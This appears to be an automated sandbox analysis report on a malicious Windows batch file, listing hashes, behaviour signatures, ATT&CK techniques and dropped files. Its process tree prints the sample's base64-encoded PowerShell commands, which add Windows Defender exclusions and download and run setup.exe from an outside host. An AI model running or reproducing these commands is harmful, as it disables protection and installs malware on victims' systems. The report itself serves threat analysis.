a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5

Analysis

max time kernel
149s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 07:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat
Size 1KB
Sample260909-japjmstdna
SHA256 a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5
MD5 f39c82332cc7d8510a41e9913841e8c0
SHA1 23d68f5d310e3455c3e710f77b1cad1bf9600de6
SHA512 a01aeaa91c2c44772416dc4872e9c8dc15d4c5878cf6e3c1f68b8415b532272b5cb79bf79f2e21d6aac55e4bbdc982db1f78b1ef1b166cced614a15593749c63
TLSH
T10741A612024E870442F29B3346C05B43D22F534B145E59DA33FCD2947F7A59BEBF628A
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://tempshare.su/raw_files/31KwJH94Fi7W

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	464	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
464	powershell.exe
2204	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3692	cmd.exe
4216	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2204	powershell.exe
2204	powershell.exe
464	powershell.exe
464	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeIncreaseQuotaPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeTakeOwnershipPrivilege	2204	powershell.exe
Token: SeLoadDriverPrivilege	2204	powershell.exe
Token: SeSystemProfilePrivilege	2204	powershell.exe
Token: SeSystemtimePrivilege	2204	powershell.exe
Token: SeProfSingleProcessPrivilege	2204	powershell.exe
Token: SeIncBasePriorityPrivilege	2204	powershell.exe
Token: SeCreatePagefilePrivilege	2204	powershell.exe
Token: SeBackupPrivilege	2204	powershell.exe
Token: SeRestorePrivilege	2204	powershell.exe
Token: SeShutdownPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeSystemEnvironmentPrivilege	2204	powershell.exe
Token: SeRemoteShutdownPrivilege	2204	powershell.exe
Token: SeUndockPrivilege	2204	powershell.exe
Token: SeManageVolumePrivilege	2204	powershell.exe
Token: 33	2204	powershell.exe
Token: 34	2204	powershell.exe
Token: 35	2204	powershell.exe
Token: 36	2204	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 4216	3692	cmd.exe	90
PID 4216 wrote to memory of 2924	4216	cmd.exe	92
PID 2924 wrote to memory of 3656	2924	net.exe	93
PID 4216 wrote to memory of 2204	4216	cmd.exe	94
PID 4216 wrote to memory of 464	4216	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\system32\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat" MINIMIZED
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRXhjbHVzaW9uc1xQYXRocyIgLU5hbWUgIkM6XCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICIwIiAtRm9yY2U7IEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblByb2Nlc3MgIlBvd2VyU2hlbGwuZXhlIg==')); Invoke-Expression $de"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGV4ZUZpbGUgPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRlbnY6VEVNUCwgJ3NldHVwLmV4ZScpOyAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly90ZW1wc2hhcmUuc3UvcmF3X2ZpbGVzLzMxS3dKSDk0Rmk3VycsICRleGVGaWxlKTsgU3RhcnQtUHJvY2VzcyAkZXhlRmlsZQ==')); Invoke-Expression $de"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 266c58d251b62db803dfa0e546e0b483c20d836480e852977caacd8a1afdb924
MD5 2dde39049cc2dc412e7fa39a1f8e9fab
SHA1 4b06a1b46f65d6d333e0e253c2cfadda744afe5e
SHA512 ed270bc32454cc8cd7dbe8f44d4389ba75845685ec7a1ea3b18ce79a664ea2657ff54c66864ea1c568a2137296c8554e5a925e512ef01fe2b2a5bf4b24764a21
TLSH
T18B216833B3DD8614CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_iqzpsyi4.dkj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iqzpsyi4.dkj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

setup.exe

Path C:\Users\Admin\AppData\Local\Temp\setup.exe
Size 21KB
SHA256 4337144d00e2c605787196f3da7dd18510a828dadd816f3bd6faf34ade8c3698
MD5 f72a0c18bd89d61ead84b9f446511d6d
SHA1 a59a8adab81a2b13073023e3a64cb1153e787d9f
SHA512 97ce065742c0e490b1ec158f5ac2745d44b859bd55a906edf7edc24590473a11afc84b7987003993cd85ac5c04fca29842174ebe11f09b34d022578aa015bbbe
SSDEEP 384:i9XAbfJTgpd+3AJTqUq0T1tnkR4GcmCdJHHqFh21NStv7:qwbf9gW3AJTqUqUTGxEHHqFh2zSJ7
TLSH
T19BA2C7E1D42855F48A034ADFFE007F06F6B7807EDAEA4512DADCDEA833C7A565207644
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2204-14-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-16-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-7-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-8-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-9-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-10-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-11-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-12-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-13-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-0-0x00007FFA7AA9F000-0x00007FFA7AAA0000-memory.dmp

Download

memory/2204-15-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-6-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-20-0x0000029AC9CE0000-0x0000029AC9D92000-memory.dmp

Download

memory/2204-19-0x0000029AC9990000-0x0000029AC99AE000-memory.dmp

Download

memory/2204-21-0x0000029AC99B0000-0x0000029AC99BA000-memory.dmp

Download

memory/2204-23-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-24-0x0000029AB12F9000-0x0000029AB12FF000-memory.dmp

Download

memory/2204-5-0x0000029AB1350000-0x0000029AB1372000-memory.dmp

Download

memory/2204-2-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-1-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/2204-36-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download